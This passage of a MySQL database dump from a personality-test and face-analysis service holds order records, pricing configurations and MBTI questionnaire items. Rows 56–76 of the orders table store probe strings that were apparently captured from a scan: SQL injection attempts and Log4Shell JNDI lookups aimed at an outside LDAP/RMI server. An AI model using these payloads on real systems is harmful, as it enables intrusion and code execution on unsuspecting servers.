'FACE20260226152404303', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090644, 1772090644); +INSERT INTO `mbti_orders` VALUES (8, 'FACE20260226152832306', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772090934, NULL, 1772090912, 1772090934); +INSERT INTO `mbti_orders` VALUES (9, 'FACE20260226153553785', 1, NULL, 'face', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772091353, 1772091353); +INSERT INTO `mbti_orders` VALUES (10, 'FACE20260226153623705', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772091404, NULL, 1772091384, 1772091404); +INSERT INTO `mbti_orders` VALUES (11, 'FACE20260226154812416', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772092110, NULL, 1772092093, 1772092110); +INSERT INTO `mbti_orders` VALUES (12, 'FACE20260226162301604', 1, NULL, 'face', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772094181, 1772094181); +INSERT INTO `mbti_orders` VALUES (13, 'FACE20260226163358556', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', NULL, NULL, 1772094839, 1772094854); +INSERT INTO `mbti_orders` VALUES (14, 'FACE20260226163926361', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772095181, NULL, 1772095167, 1772095185); +INSERT INTO `mbti_orders` VALUES (15, 'FACE20260226164046272', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772095665, NULL, 1772095246, 1772095672); +INSERT INTO `mbti_orders` VALUES (16, 'FACE20260226164944760', 1, NULL, 'face', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772095784, 1772095784); +INSERT INTO `mbti_orders` VALUES (17, 'FACE20260226165244539', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772095977, '4200003057202602263224922979', 1772095964, 1772095983); +INSERT INTO `mbti_orders` VALUES (18, 'FACE20260226170030122', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772096444, '4200003092202602260876839499', 1772096431, 1772096449); +INSERT INTO `mbti_orders` VALUES (19, 'FACE20260226170133172', 1, NULL, 'face', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772096493, 1772096493); +INSERT INTO `mbti_orders` VALUES (20, 'FACE20260226170933731', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772096995, '4200003093202602260617366122', 1772096974, 1772096998); +INSERT INTO `mbti_orders` VALUES (21, 'FACE20260226171256984', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772097190, '4200003079202602265982139638', 1772097177, 1772097195); +INSERT INTO `mbti_orders` VALUES (22, 'FACE20260226171740492', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772097475, '4200003005202602265395181321', 1772097460, 1772097481); +INSERT INTO `mbti_orders` VALUES (23, 'FACE20260226172256808', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772097793, '4200003004202602262256134923', 1772097776, 1772097797); +INSERT INTO `mbti_orders` VALUES (24, 'FACE20260226172840499', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772098134, '4200003065202602264599802773', 1772098120, 1772098138); +INSERT INTO `mbti_orders` VALUES (25, 'MBTI20260227095042214', 1, NULL, 'mbti', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772157043, 1772157043); +INSERT INTO `mbti_orders` VALUES (26, 'MBTI20260227095133161', 1, NULL, 'mbti', NULL, 1, 'paid', 'wechat', 1772157110, '4200003061202602274041761513', 1772157093, 1772157115); +INSERT INTO `mbti_orders` VALUES (27, 'PDP20260227095648617', 1, NULL, 'pdp', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772157409, 1772157409); +INSERT INTO `mbti_orders` VALUES (28, 'PDP20260227095712530', 1, NULL, 'pdp', NULL, 1, 'paid', 'wechat', 1772157446, '4200003053202602271167896255', 1772157433, 1772157451); +INSERT INTO `mbti_orders` VALUES (29, 'DISC20260227095750455', 1, NULL, 'disc', NULL, 1, 'paid', 'wechat', 1772157482, '4200003062202602275887289276', 1772157471, 1772157485); +INSERT INTO `mbti_orders` VALUES (30, 'VIP20260227105804939', 1, NULL, 'vip', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772161084, 1772161084); +INSERT INTO `mbti_orders` VALUES (31, 'DISC20260227140349408', 1, NULL, 'disc', NULL, 1, 'paid', 'wechat', 1772172257, '4200003058202602279679035020', 1772172229, 1772172260); +INSERT INTO `mbti_orders` VALUES (32, 'DISC20260227141329158', 1, NULL, 'disc', NULL, 1, 'paid', 'wechat', 1772172825, '4200003077202602274832092050', 1772172810, 1772172828); +INSERT INTO `mbti_orders` VALUES (33, 'PDP20260227141402259', 1, NULL, 'pdp', NULL, 1, 'paid', 'wechat', 1772172854, '4200003080202602273303069247', 1772172842, 1772172860); +INSERT INTO `mbti_orders` VALUES (34, 'MBTI20260227141433083', 1, NULL, 'mbti', NULL, 1, 'paid', 'wechat', 1772172885, '4200003003202602279020606269', 1772172874, 1772172888); +INSERT INTO `mbti_orders` VALUES (35, 'FACE20260227141457505', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772172909, '4200003065202602279276113364', 1772172897, 1772172912); +INSERT INTO `mbti_orders` VALUES (36, 'FACE20260228140351722', 1, 5, 'face', NULL, 200, 'pending', 'wechat', NULL, NULL, 1772258632, 1772258632); +INSERT INTO `mbti_orders` VALUES (37, 'FACE20260228141854577', 1, 5, 'face', NULL, 200, 'pending', 'wechat', NULL, NULL, 1772259535, 1772259535); +INSERT INTO `mbti_orders` VALUES (38, 'FACE20260228152851705', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772263738, '4200003080202602288946868189', 1772263731, 1772263740); +INSERT INTO `mbti_orders` VALUES (39, 'VIP20260228175015395', 1, NULL, 'vip', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772272217, 1772272217); +INSERT INTO `mbti_orders` VALUES (40, 'FACE20260228180843875', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772273330, '4200003006202602289813276712', 1772273324, 1772273332); +INSERT INTO `mbti_orders` VALUES (41, 'VIP20260228182241062', 1, NULL, 'vip', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772274162, 1772274162); +INSERT INTO `mbti_orders` VALUES (42, 'DPER20260302162035667', 1, NULL, 'deep_personal', NULL, 19900, 'pending', 'wechat', NULL, NULL, 1772439635, 1772439635); +INSERT INTO `mbti_orders` VALUES (43, 'DPER20260302162106725', 1, NULL, 'deep_personal', NULL, 19900, 'pending', 'wechat', NULL, NULL, 1772439666, 1772439666); +INSERT INTO `mbti_orders` VALUES (44, 'DPER20260302162210643', 1, NULL, 'deep_personal', NULL, 19900, 'pending', 'wechat', NULL, NULL, 1772439730, 1772439730); +INSERT INTO `mbti_orders` VALUES (45, 'DPER20260302162457651', 1, NULL, 'deep_personal', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772439897, 1772439897); +INSERT INTO `mbti_orders` VALUES (46, 'DPER20260302162616910', 1, NULL, 'deep_personal', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772439976, 1772439976); +INSERT INTO `mbti_orders` VALUES (47, 'DPER20260302163510075', 1, NULL, 'deep_personal', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772440510, 1772440510); +INSERT INTO `mbti_orders` VALUES (48, 'DPER20260302163948487', 1, NULL, 'deep_personal', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772440789, 1772440789); +INSERT INTO `mbti_orders` VALUES (49, 'DPER20260302164000818', 1, NULL, 'deep_personal', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772440800, 1772440800); +INSERT INTO `mbti_orders` VALUES (50, 'DPER20260302164034604', 1, NULL, 'deep_personal', NULL, 1, 'paid', 'wechat', 1772440841, '4200003080202603024809173091', 1772440834, 1772440846); +INSERT INTO `mbti_orders` VALUES (51, 'DPER20260302164828836', 1, NULL, 'deep_personal', '个人深度洞察测试版', 1, 'paid', 'wechat', 1772441323, '4200003071202603028924341619', 1772441308, 1772441326); +INSERT INTO `mbti_orders` VALUES (52, 'FACE20260303144952267', 1, 5, 'face', 'AI人脸性格分析完整报告', 200, 'pending', 'wechat', NULL, NULL, 1772520593, 1772520593); +INSERT INTO `mbti_orders` VALUES (53, 'FACE20260303145028544', 1, 6, 'face', 'AI人脸性格分析完整报告', 2, 'pending', 'wechat', NULL, NULL, 1772520628, 1772520628); +INSERT INTO `mbti_orders` VALUES (54, 'FACE20260303153333300', 1, 6, 'face', 'AI人脸性格分析完整报告', 2, 'pending', 'wechat', NULL, NULL, 1772523215, 1772523215); +INSERT INTO `mbti_orders` VALUES (55, 'DPER20260304110938288', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593778, 1772594061); +INSERT INTO `mbti_orders` VALUES (56, 'DPER20260304110938288\' union select 1-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593911, 1772593911); +INSERT INTO `mbti_orders` VALUES (57, 'DPER20260304110938288\' union select 1,2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593912, 1772593912); +INSERT INTO `mbti_orders` VALUES (58, 'DPER20260304110938288\' union select md5(3141592657', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593913, 1772593913); +INSERT INTO `mbti_orders` VALUES (59, 'DPER20260304110938288\' union select 1,md5(31415926', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593913, 1772593913); +INSERT INTO `mbti_orders` VALUES (60, '\" union select 1-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593935, 1772593935); +INSERT INTO `mbti_orders` VALUES (61, '\" union select 1,2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593936, 1772593936); +INSERT INTO `mbti_orders` VALUES (62, '\" union select md5(3141592657),2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593936, 1772593936); +INSERT INTO `mbti_orders` VALUES (63, '\" union select 1,md5(3141592657)-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593937, 1772593937); +INSERT INTO `mbti_orders` VALUES (64, 'DPER20260304110938288\" union select 1-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593938, 1772593938); +INSERT INTO `mbti_orders` VALUES (65, 'DPER20260304110938288\" union select 1,2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593941, 1772593941); +INSERT INTO `mbti_orders` VALUES (66, 'DPER20260304110938288\" union select md5(3141592657', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593944, 1772593944); +INSERT INTO `mbti_orders` VALUES (67, 'DPER20260304110938288\" union select 1,md5(31415926', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593945, 1772593945); +INSERT INTO `mbti_orders` VALUES (68, '\' union select 1-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593993, 1772593993); +INSERT INTO `mbti_orders` VALUES (69, '\' union select 1,2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593994, 1772593994); +INSERT INTO `mbti_orders` VALUES (70, '\' union select md5(3141592657),2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593994, 1772593994); +INSERT INTO `mbti_orders` VALUES (71, '\' union select 1,md5(3141592657)-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593995, 1772593995); +INSERT INTO `mbti_orders` VALUES (72, '${jndi:ldap://183.47.120.213:1389/jdk18dd6cff356b8', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594035, 1772594035); +INSERT INTO `mbti_orders` VALUES (73, '${jndi:ldap://hostname-${hostName}.username-${sys:', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594037, 1772594037); +INSERT INTO `mbti_orders` VALUES (74, '${jndi:rmi://hostname-${hostName}.username-${sys:u', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594039, 1772594039); +INSERT INTO `mbti_orders` VALUES (75, 'aaaa\'%bf%27', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594047, 1772594047); +INSERT INTO `mbti_orders` VALUES (76, '${jndi:rmi://183.47.120.213:1099/bypassdbb5556f68f', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594048, 1772594048); +INSERT INTO `mbti_orders` VALUES (77, 'FACE20260306155303513', 1, 5, 'face', 'AI人脸性格分析完整报告', 101, 'pending', 'wechat', NULL, NULL, 1772783583, 1772783583); +INSERT INTO `mbti_orders` VALUES (78, 'RCG20260309161126129', 1, 6, 'recharge', '账户充值 ¥0.02', 2, 'paid', 'wechat', 1773043902, '4200003069202603099508909989', 1773043886, 1773043904); +INSERT INTO `mbti_orders` VALUES (79, 'RCG20260309173206082', 1, 6, 'recharge', '账户充值 ¥0.05', 5, 'paid', 'wechat', 1773048743, '4200003094202603093110277383', 1773048727, 1773048748); +INSERT INTO `mbti_orders` VALUES (80, 'DPER20260311145816460', 1, NULL, 'deep_personal', '测试001', 1, 'paid', 'wechat', 1773212308, '4200003094202603119078710446', 1773212296, 1773212314); +INSERT INTO `mbti_orders` VALUES (81, 'DPER20260311150058412', 1, NULL, 'deep_personal', '测试001', 1, 'pending', 'wechat', NULL, NULL, 1773212464, 1773212464); +INSERT INTO `mbti_orders` VALUES (82, 'DPER20260311150121076', 1, NULL, 'deep_personal', '测试001', 1, 'paid', 'wechat', 1773212493, '4200003001202603114491728544', 1773212482, 1773212497); +INSERT INTO `mbti_orders` VALUES (83, 'DPER20260312114701237', 2, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1773287221, 1773287221); + +-- ---------------------------- +-- Table structure for mbti_pricing_config +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_pricing_config`; +CREATE TABLE `mbti_pricing_config` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', + `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '定价类型:personal个人版/enterprise企业版/deep深度服务', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,NULL=全局默认', + `config` json NULL COMMENT '定价配置(JSON格式)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `idx_type_enterpriseId`(`type`, `enterpriseId`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '全局定价配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_pricing_config +-- ---------------------------- +INSERT INTO `mbti_pricing_config` VALUES (1, 'personal', NULL, '{\"pdp\": 0.01, \"disc\": 0.01, \"face\": 0.01, \"mbti\": 0.01, \"report\": 0}', 1770882450, 1773127359); +INSERT INTO `mbti_pricing_config` VALUES (2, 'enterprise', NULL, '{\"pdp\": 8, \"disc\": 8, \"face\": 8, \"mbti\": 8, \"report\": 15, \"minRecharge\": 100, \"teamAnalysis\": 99, \"resumeAnalysis\": 0, \"testsPerRecharge\": 100}', 1770882450, 1773220907); +INSERT INTO `mbti_pricing_config` VALUES (3, 'deep', NULL, '{\"team\": 999, \"personal\": 199}', 1770882450, 1770882450); +INSERT INTO `mbti_pricing_config` VALUES (4, 'admin_personal', 5, '{\"pdp\": 0, \"disc\": 0, \"face\": 0, \"mbti\": 0, \"report\": 19.9}', 1770887324, 1773036920); +INSERT INTO `mbti_pricing_config` VALUES (5, 'admin_personal', 6, '{\"pdp\": 0, \"disc\": 0, \"face\": 0, \"mbti\": 0, \"report\": 0.02}', 1772161295, 1773036737); +INSERT INTO `mbti_pricing_config` VALUES (8, 'deep_personal', NULL, '{\"categories\": [{\"id\": \"1772268461984\", \"price\": 198, \"title\": \"个人深度洞察版\", \"features\": [\"AI面部分析(基于东方面相学与西方心理学)\", \"MBTI性格测试(16型人格完整解读)\", \"盖洛普优势Top5识别(发现你的核心天赋)\", \"PDP行为偏好分析(了解你的行为模式)\", \"DISC沟通风格分析(提升沟通效率)\", \"多维度综合性格报告(包含优势解读、潜在盲区提示)\", \"职业发展方向推荐(匹配最适合你的职业)\"], \"subtitle\": \"三张照片+问卷,全面解锁你的内在潜能\", \"priceUnit\": \"/次\", \"actionType\": \"buy\", \"productKey\": \"1772268461984\", \"consultWechat\": \"mi5p9-f4gx6-tl4nw-a2qb8-4wgap\", \"serviceWechat\": \"Lkdie01\", \"successMessage\": \"购买成功!我们的顾问会尽快与您联系,为您提供专属深度解读服务。\"}]}', 1772268761, 1773212515); +INSERT INTO `mbti_pricing_config` VALUES (9, 'deep_enterprise', NULL, '{\"categories\": [{\"id\": \"1772268637136\", \"title\": \"团队启动版\", \"features\": [\"10人完成个人深度洞察报告\", \"1次团队动力诊断分析会(2-3小时)\", \"识别团队优势组合与潜在风险点\"], \"subtitle\": \"适合初创团队、小型部门\", \"userLimit\": \"最多10人\", \"actionType\": \"consult\", \"buttonText\": \"申请咨询\", \"priceDisplay\": \"19800\", \"consultWechat\": \"mi5p9-f4gx6-tl4nw-a2qb8-4wgap\", \"serviceWechat\": \"Lkdie01\", \"successMessage\": \"感谢您的申请,我们的顾问会尽快与您联系!\"}, {\"id\": \"1772268677712\", \"title\": \"团队成长版\", \"features\": [\"最多30人完成个人深度洞察报告\", \"包含\\\"启动版\\\"所有内容\", \"1次定制化团队协作增效工作坊(7天)\", \"聚焦沟通优化、优势协作等主题\"], \"subtitle\": \"适合成长型团队\", \"userLimit\": \"10-30人\", \"actionType\": \"consult\", \"buttonText\": \"申请咨询\", \"priceDisplay\": \"39800\", \"consultWechat\": \"mi5p9-f4gx6-tl4nw-a2qb8-4wgap\", \"serviceWechat\": \"Lkdie01\", \"successMessage\": \"感谢您的申请,我们的顾问会尽快与您联系!\"}, {\"id\": \"1772268704928\", \"title\": \"团队蜕变版\", \"features\": [\"最多100人完成个人深度洞察报告\", \"包含\\\"成长版\\\"所有内容\", \"更深度、更定制化的系列组合(≥2工作日)\", \"3个月的落地跟进顾问服务\"], \"subtitle\": \"适合中大型团队\", \"userLimit\": \"最多100人\", \"actionType\": \"consult\", \"buttonText\": \"申请咨询\", \"priceDisplay\": \"98000\", \"consultWechat\": \"mi5p9-f4gx6-tl4nw-a2qb8-4wgap\", \"serviceWechat\": \"Lkdie01\", \"successMessage\": \"感谢您的申请,我们的顾问会尽快与您联系!\"}]}', 1772268761, 1773212515); +INSERT INTO `mbti_pricing_config` VALUES (10, 'admin_enterprise', 5, '{\"pdp\": 0, \"disc\": 0, \"face\": 0, \"mbti\": 0, \"report\": 15, \"minRecharge\": 1000, \"teamAnalysis\": 99, \"resumeAnalysis\": 0, \"testsPerRecharge\": 100}', 1772767876, 1773036927); +INSERT INTO `mbti_pricing_config` VALUES (11, 'admin_enterprise', 6, '{\"pdp\": 0, \"disc\": 0, \"face\": 0, \"mbti\": 0, \"report\": 15, \"minRecharge\": 1000, \"teamAnalysis\": 99, \"resumeAnalysis\": 0, \"testsPerRecharge\": 100}', 1773036955, 1773036955); + +-- ---------------------------- +-- Table structure for mbti_questions +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_questions`; +CREATE TABLE `mbti_questions` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '题目ID', + `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '题目类型:mbti/disc/pdp', + `question` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '题目内容', + `options` json NULL COMMENT '选项(JSON格式)', + `dimension` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '维度(仅MBTI类型使用:EI/SN/TF/JP)', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(NULL表示超管题库)', + `sort` int(11) NULL DEFAULT 0 COMMENT '排序', + `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1启用,0禁用', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_type`(`type`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_sort`(`sort`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_deletedAt`(`deletedAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 131 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '题目表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_questions +-- ---------------------------- +INSERT INTO `mbti_questions` VALUES (1, 'mbti', '在社交场合中,您通常会:', '[{\"text\": \"认识新朋友,扩大社交圈\", \"value\": \"E\"}, {\"text\": \"与已认识的朋友交流,保持小圈子\", \"value\": \"I\"}]', 'EI', NULL, 1, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (2, 'mbti', '您更喜欢:', '[{\"text\": \"在团队中工作,与他人合作\", \"value\": \"E\"}, {\"text\": \"独立工作,自己思考问题\", \"value\": \"I\"}]', 'EI', NULL, 2, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (3, 'mbti', '当您需要充电时,您会选择:', '[{\"text\": \"与朋友聚会,参加社交活动\", \"value\": \"E\"}, {\"text\": \"独处,阅读或进行个人爱好\", \"value\": \"I\"}]', 'EI', NULL, 3, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (4, 'mbti', '在会议或讨论中,您通常:', '[{\"text\": \"积极发言,边说边思考\", \"value\": \"E\"}, {\"text\": \"先思考,然后再发表意见\", \"value\": \"I\"}]', 'EI', NULL, 4, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (5, 'mbti', '您更倾向于:', '[{\"text\": \"认识很多人,建立广泛的社交网络\", \"value\": \"E\"}, {\"text\": \"与少数几个人建立深厚的友谊\", \"value\": \"I\"}]', 'EI', NULL, 5, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (6, 'mbti', '在工作环境中,您更喜欢:', '[{\"text\": \"开放的办公空间,可以随时与同事交流\", \"value\": \"E\"}, {\"text\": \"安静的私人空间,可以专注工作\", \"value\": \"I\"}]', 'EI', NULL, 6, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (7, 'mbti', '当面对问题时,您更倾向于:', '[{\"text\": \"与他人讨论,获取不同观点\", \"value\": \"E\"}, {\"text\": \"独自思考,寻找解决方案\", \"value\": \"I\"}]', 'EI', NULL, 7, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (8, 'mbti', '您更喜欢的休闲活动是:', '[{\"text\": \"参加派对、团体活动或体育比赛\", \"value\": \"E\"}, {\"text\": \"阅读、看电影或独自进行创作\", \"value\": \"I\"}]', 'EI', NULL, 8, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (9, 'mbti', '在陌生环境中,您通常会:', '[{\"text\": \"主动与他人交谈,快速融入环境\", \"value\": \"E\"}, {\"text\": \"观察周围环境,等待他人接近\", \"value\": \"I\"}]', 'EI', NULL, 9, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (10, 'mbti', '您认为自己是:', '[{\"text\": \"外向、健谈的人\", \"value\": \"E\"}, {\"text\": \"内敛、安静的人\", \"value\": \"I\"}]', 'EI', NULL, 10, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (11, 'mbti', '长时间的社交活动后,您通常会:', '[{\"text\": \"感到精力充沛,想继续社交\", \"value\": \"E\"}, {\"text\": \"感到疲惫,需要独处恢复精力\", \"value\": \"I\"}]', 'EI', NULL, 11, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (12, 'mbti', '您更喜欢的工作方式是:', '[{\"text\": \"与团队一起头脑风暴和协作\", \"value\": \"E\"}, {\"text\": \"独立思考和解决问题\", \"value\": \"I\"}]', 'EI', NULL, 12, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (13, 'mbti', '您更容易:', '[{\"text\": \"在说话的过程中组织思路\", \"value\": \"E\"}, {\"text\": \"在说话前先组织好思路\", \"value\": \"I\"}]', 'EI', NULL, 13, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (14, 'mbti', '您更喜欢的学习方式是:', '[{\"text\": \"小组讨论和互动学习\", \"value\": \"E\"}, {\"text\": \"自学和独立研究\", \"value\": \"I\"}]', 'EI', NULL, 14, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (15, 'mbti', '当您有好消息时,您会:', '[{\"text\": \"立即告诉朋友和家人分享喜悦\", \"value\": \"E\"}, {\"text\": \"只告诉少数几个亲近的人\", \"value\": \"I\"}]', 'EI', NULL, 15, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (16, 'mbti', '您更喜欢的假期类型是:', '[{\"text\": \"热闹的旅游胜地,有很多活动和人\", \"value\": \"E\"}, {\"text\": \"安静的度假地,可以放松和思考\", \"value\": \"I\"}]', 'EI', NULL, 16, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (17, 'mbti', '在团队项目中,您更倾向于:', '[{\"text\": \"担任协调者或发言人的角色\", \"value\": \"E\"}, {\"text\": \"负责研究或分析的工作\", \"value\": \"I\"}]', 'EI', NULL, 17, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (18, 'mbti', '您更喜欢的通讯方式是:', '[{\"text\": \"面对面交谈或视频通话\", \"value\": \"E\"}, {\"text\": \"电子邮件或文字消息\", \"value\": \"I\"}]', 'EI', NULL, 18, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (19, 'mbti', '当您遇到困难时,您更倾向于:', '[{\"text\": \"寻求他人的建议和支持\", \"value\": \"E\"}, {\"text\": \"自己思考解决方案\", \"value\": \"I\"}]', 'EI', NULL, 19, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (20, 'mbti', '您更喜欢的工作环境是:', '[{\"text\": \"充满活力和互动的环境\", \"value\": \"E\"}, {\"text\": \"安静和专注的环境\", \"value\": \"I\"}]', 'EI', NULL, 20, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (21, 'mbti', '您更倾向于:', '[{\"text\": \"在多个社交圈中活跃\", \"value\": \"E\"}, {\"text\": \"在一个小圈子中深入交往\", \"value\": \"I\"}]', 'EI', NULL, 21, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (22, 'mbti', '您更喜欢:', '[{\"text\": \"参加大型社交活动\", \"value\": \"E\"}, {\"text\": \"与一两个朋友进行深入交流\", \"value\": \"I\"}]', 'EI', NULL, 22, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (23, 'mbti', '您更倾向于:', '[{\"text\": \"在公共场合表达自己的想法\", \"value\": \"E\"}, {\"text\": \"在私下或小范围内分享想法\", \"value\": \"I\"}]', 'EI', NULL, 23, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (24, 'mbti', '当面对新信息时,您更倾向于:', '[{\"text\": \"关注具体细节和事实\", \"value\": \"S\"}, {\"text\": \"寻找模式和可能性\", \"value\": \"N\"}]', 'SN', NULL, 24, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (25, 'mbti', '您更相信:', '[{\"text\": \"实际经验和直接观察\", \"value\": \"S\"}, {\"text\": \"直觉和想象力\", \"value\": \"N\"}]', 'SN', NULL, 25, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (26, 'mbti', '您更喜欢处理:', '[{\"text\": \"已知的、确定的信息\", \"value\": \"S\"}, {\"text\": \"理论性的、抽象的概念\", \"value\": \"N\"}]', 'SN', NULL, 26, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (27, 'mbti', '在解决问题时,您更倾向于:', '[{\"text\": \"使用已证实有效的方法\", \"value\": \"S\"}, {\"text\": \"尝试创新的解决方案\", \"value\": \"N\"}]', 'SN', NULL, 27, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (28, 'mbti', '您更关注:', '[{\"text\": \"当下的现实和实际情况\", \"value\": \"S\"}, {\"text\": \"未来的可能性和潜在发展\", \"value\": \"N\"}]', 